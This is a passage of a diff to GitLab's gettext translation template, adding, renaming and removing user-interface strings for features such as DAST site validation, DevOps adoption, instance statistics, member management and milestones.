msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
